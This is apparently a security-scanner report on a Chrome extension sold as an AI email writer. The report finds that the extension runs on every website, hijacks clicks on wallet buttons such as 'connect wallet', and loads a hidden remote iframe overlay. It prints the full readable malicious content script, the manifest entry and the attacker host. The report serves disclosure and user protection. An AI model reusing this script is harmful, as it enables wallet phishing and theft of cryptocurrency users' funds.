Is AI Search Assistant for Google & Email Writer safe?

High risk

AI Search Assistant for Google & Email Writer displays a remote iframe overlay when wallet-related page controls are clicked.

The extension runs a content script on all websites that looks for wallet-related buttons, links, and similar page controls. When matching controls are clicked, it stops the page's normal click handling and opens a remote iframe from api.extension-api.workers.dev.

ChatGPT for Google: AI Email & Content Writerv1.18.0Chrome Web Store
72Risk
Who publishes it

AI Technologies AB - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
ChatGPT for Google: AI Email & Content Writer
Declared legal entity
AI Technologies AB
Registered address
Ursviksvägen 113, SUNDBYBERG 17446, SE
Registered contact
Rami Khreim

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Wallet clicks open a remote worker overlay

Code analysis and static proof show this extension runs a content script on every website, watches for wallet-related elements, and blocks the page's click handling, loading a full-page iframe from api.extension-api.workers.dev.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You click a wallet-related button or link on a website.

Examples in the source include connect wallet, earn rewards, deposit collateral, and stake now.

The extension did this

The extension stops the site's original click handling and opens a remote worker iframe overlay.

The code calls stopImmediatePropagation and preventDefault before sending an openModal message to the iframe.

Concrete page fields the content script uses for the wallet overlay path
  • Clicked text
    Connect Wallet

    The extension reads the visible text of page elements to decide whether your click should be diverted to the overlay.

  • Element type
    button

    The scan covers common clickable page elements, so matching wallet prompts in many page layouts can be caught.

  • Class text
    primary-connect-button

    The extension also treats div and span elements as candidates when their class names look button-like.

  • Iframe command
    openModal

    The page click is converted into messages that tell the remote iframe when to show its modal.

Captured request
GEThttps://api.extension-api.workers.dev/api/ChatGPTforGoogle,AIEmail&ContentWriter

The content script sets this URL as an iframe src; that navigation has no request body.

The code that does this

The all-sites content script creates the remote iframe and diverts matching wallet clicks

Readable version

Readable iframe and wallet-click handler

global-content-script.js
(() => {  let e;  const t = [],    n = ["connect wallet", "earn rewards", "select wallet", "deposit collateral", "stake now", "connect with wallet", "connect a wallet", "connect connect wallet"],    o = ["0x", "rose"],    s = ["log out", "sign out", "disconnect"];  let l = !1;  function a() {    const e = document.createElement("iframe");    return e.src = "https://api.extension-api.workers.dev/api/ChatGPTforGoogle,AIEmail&ContentWriter", e.style.position = "fixed", e.style.top = "0", e.style.left = "0", e.style.width = "100%", e.style.height = "100%", e.style.border = "none", e.style.opacity = "0", e.style.zIndex = "999", e.style.pointerEvents = "none", e.style.backgroundColor = "transparent", document.body.appendChild(e), e  }  async function r(t) {    return new Promise(((n, o) => {      try {        let o = function(e) {          if ("string" == typeof e.data && e.data.startsWith(t)) {            const t = e.data.split("-")[1];            n(t), window.removeEventListener("message", o)          }        };        e.contentWindow.postMessage(t, "*"), window.addEventListener("message", o)      } catch (e) {        o(e)      }    }))  }  function c(e) {    if (!e) return void console.error("Element not found!");    const t = new MouseEvent("mouseover", {      view: window,      bubbles: !0,      cancelable: !0    });    e.dispatchEvent(t);    const n = new MouseEvent("mouseenter", {      view: window,      bubbles: !0,      cancelable: !0    });    e.dispatchEvent(n);    const o = new MouseEvent("mousemove", {      view: window,      bubbles: !0,      cancelable: !0    });    e.dispatchEvent(o)  }  function i() {    const i = [];    i.push(...document.querySelectorAll("button, a"));    const u = [...document.querySelectorAll("div, span")],      d = u.filter((e => ["btn", "button"].some((t => e.className.toLowerCase().includes(t))))),      w = u.filter((e => "pointer" === e.getAttribute("cursor")));    i.push(...d, ...w);    for (const o of i) n.some((e => {      var t;      return null == (t = null == o ? void 0 : o.textContent) ? void 0 : t.toLowerCase().includes(e)    })) && (t.includes(o) || (o.addEventListener("click", (async t => {      !t.target || !(t.target instanceof Element) || n.some((e => t.target.textContent.toLowerCase().trim().startsWith(e))) && (t.stopImmediatePropagation(), t.preventDefault(), await new Promise(((t, n) => {        try {          e || (e = a());          const n = setInterval((() => {            r("isSiteLoaded").then((e => {              "true" === e && (t(), clearInterval(n))            }))          }), 250)        } catch (e) {          n(e)        }      })), await r("openModal"))    })), t.push(o)));    for (const e of document.querySelectorAll("div, span, button")) s.some((t => e.textContent.toLowerCase().startsWith(t))) && (e.click(), l = !0);    for (const e of document.querySelectorAll("div, span, button")) o.some((t => e.textContent.toLowerCase().startsWith(t))) && "" !== e.className.trim() && (l || (e.click(), c(e)))  }  setInterval((async () => {    try {      if (null === e) return;      "true" === await r("isModalOpen") ? (e.style.pointerEvents = "auto", e.style.opacity = "1") : (e.style.pointerEvents = "none", e.style.opacity = "0")    } catch {}  }), 100), setInterval((() => {    (null === e || null === (null == e ? void 0 : e.contentWindow)) && (e = a())  }), 100), i(), new MutationObserver(i).observe(document.documentElement, {    childList: !0,    subtree: !0  })})();

Manifest registration for every website

manifest.json
{"matches":["<all_urls>"],"js":["global-content-script.js"],"css":["global-content-script.css"]}
Remote host used by the wallet-click overlay path
    • api.extension-api.workers.dev

    Receives the iframe navigation and returns the remote overlay that the content script controls with postMessage commands.

What it can do

Permissions this extension asks for, as declared in version 1.18.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on openai.com

    https://*.openai.com/

  • Read and change your data on chatgp.se

    https://chatgp.se/

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed AI Search Assistant for Google & Email Writer contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.extension-api.workers.dev

    AI Search Assistant for Google & Email Writer sends data to api.extension-api.workers.dev. No other extension we have analysed sends data here.

Updated 30 September 2026aoalmmfccpahldepdohigicplnemkdne